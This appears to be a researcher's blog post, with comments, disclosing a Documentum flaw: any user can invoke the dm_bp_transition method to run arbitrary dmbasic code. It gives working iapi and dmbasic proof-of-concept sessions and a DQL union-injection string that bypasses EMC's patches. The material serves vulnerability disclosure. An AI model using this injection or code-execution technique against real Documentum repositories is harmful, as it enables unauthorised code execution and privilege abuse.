A year ago I discovered a design gap in Documentum lifecyles: though it is required to user have some permissions for both document and dm_policy objects to be able to promote document or attach lifecycle to document:
all lifecycle stuff narrows down to executing either dm_bp_transition or dm_bp_transition_java docbase method, so any user is able to change lifecycle state of any document by executing docbase method directly. Actually, the problem is more serious because dm_bp_transition docbase method is insecure by design – it accepts identifiers of “external” procedures and executes anything that is written there:
'------------------------------------------------------------ Sub BP_Transition(_ ... userEntryID$,_ actionID$,_ userActionID$,_ ... 'Evaluate the user-defined entry criteria If (result = True And run_entry = "T") Then If (debug = True) Then PrintToLog sess, "Run user defined entry criteria." End If result = RunProcedure(userEntryID, 1, sess, sysID,_ user_name, targetState) End If ... If (procID <> "0000000000000000") Then result = CheckStatus("", 1, "loading procedure " & procID, True, errorMsg) result = external(procID) If (result = True) Then If (procNo = 1) Then ' --- Running user-defined entry criteria --- result = CheckStatus("", 1, "Running EntryCriteria", True, errorMsg) On Error Goto NoFunction result = EntryCriteria(sessID, objID, userName,_ targetState, errorStack) ...
A clear example:
~]$ cat external.ebs Function EntryCriteria() as Boolean print "Hello, world!" EntryCriteria = True End Function ~]$ cat test.ebs Sub Test(procedureId$) Dim result as Boolean sess = dmAPIGet("connect,ssc_dev,dmadmin,dmadmin") result = external(procedureId$) result = EntryCriteria() End Sub ~]$ iapi ssc_dev -Udmadmin -Pdmadmin Session id is s0 API> create,c,dm_procedure ... 0801ffd7804368e6 API> setfile,c,l,external.ebs,crtext ... OK API> save,c,l ... OK API> exit Bye ~]$ dmbasic -f test.ebs -eTest -- 0801ffd7804368e6 Hello, world! ~]$
I think it’s obvious that correct security fix must do following:
- Restrict access to dm_bp_transition and dm_bp_transition_java methods
- Check input parameters of dm_bp_transition method (identifiers of procedures to execute are stored in dm_policy object)
Unfortunately, this is not obvious for EMC (or too hard to implement basic checks using dmbasic) – they decided that the root cause of security vulnerability is a fact that any user is able to create dm_procedure objects (yeah, every man is a potential rapist – let’s cut off penises), and now we have:
API> create,c,dm_procedure ... 0801ffd780436937 API> save,c,l ... [DM_USER_E_NEED_SU_OR_SYS_PRIV]error: "The current user (test02) needs to have superuser or sysadmin privilege."
Unfortunately external() function in dmbasic accepts not only dm_procedure objects but any dm_sysobject:
API> create,c,dm_document ... 0901ffd780436944 API> setfile,c,l,external.ebs,crtext ... OK API> save,c,l ... OK API> Bye ~]$ dmbasic -f test.ebs -eTest -- 0901ffd780436944 Hello, world!
What did EMC for that? They decided that it is a good idea to load only dm_procedure objects in external() dmbasic’s function:
~]$ strings dmbasic | grep dm_procedure id,%s,dm_procedure where object_name = '%s' and folder('%s') id,%s,dm_procedure where r_object_id = '%s'
~]$ cat test.ebs Sub Test(procedureId$) Dim result as Boolean sess = dmAPIGet("connect,ssc_dev,dmadmin,dmadmin") result = external(procedureId$) print dmAPIGet("getmessage,c") result = EntryCriteria() End Sub ~]$ dmbasic -f test.ebs -eTest -- 0901ffd780436944 [DM_API_W_NO_MATCH]warning: "There was no match in the docbase for the qualification: dm_procedure where r_object_id = '0901ffd780436944'" dmbasic: Error 35 in line 6: Sub or Function not defined ~]$
Does it look good? Actually, no. I have no idea who invented so ridiculous way to call Documentum RPCs through dmAPIGet/dmAPIExec commands, but concatenating command and arguments into single string and then parsing that string is a bad idea, take a look at API magic:
Session id is s0 API> id,c,dm_procedure where r_object_id='0901ffd780436944,' union select r_object_id from dm_sysobject where r_object_id='0901ffd780436944' ... 0901ffd780436944 API> fetch,c,0901ffd780436944,' union select r_object_id from dm_sysobject where r_object_id='0901ffd780436944 ... OK
Now:
~]$ dmbasic -f test.ebs -eTest -- "0901ffd780436944,' union \ > select r_object_id from dm_sysobject where r_object_id='0901ffd780436944" Hello, world! ~]$
Nice post. π Thank you. What would you suggest to EMC? I think, they should hire someone like you at first place.
LikeLike
Actually I already did. During last 8 months I filled twenty reports about documentum security vulnerabilities to CERT (http://cert.org/), here I had chosen CERT because it is completely useless to talk about security with EMC (this blogpost is a good confirmation of my opinion), but I can’t say that CERT achieved any success in interaction with EMC and in next couple of weeks we are going to publish information about 15 unresolved security vulnerabilities in documentum products. My last reaction for ESA-2014-105 (http://msroth.wordpress.com/2014/10/02/documentum-esa-for-multiple-vulnerabilities/) was: https://blog.documentum.pro/?attachment_id=1442
LikeLike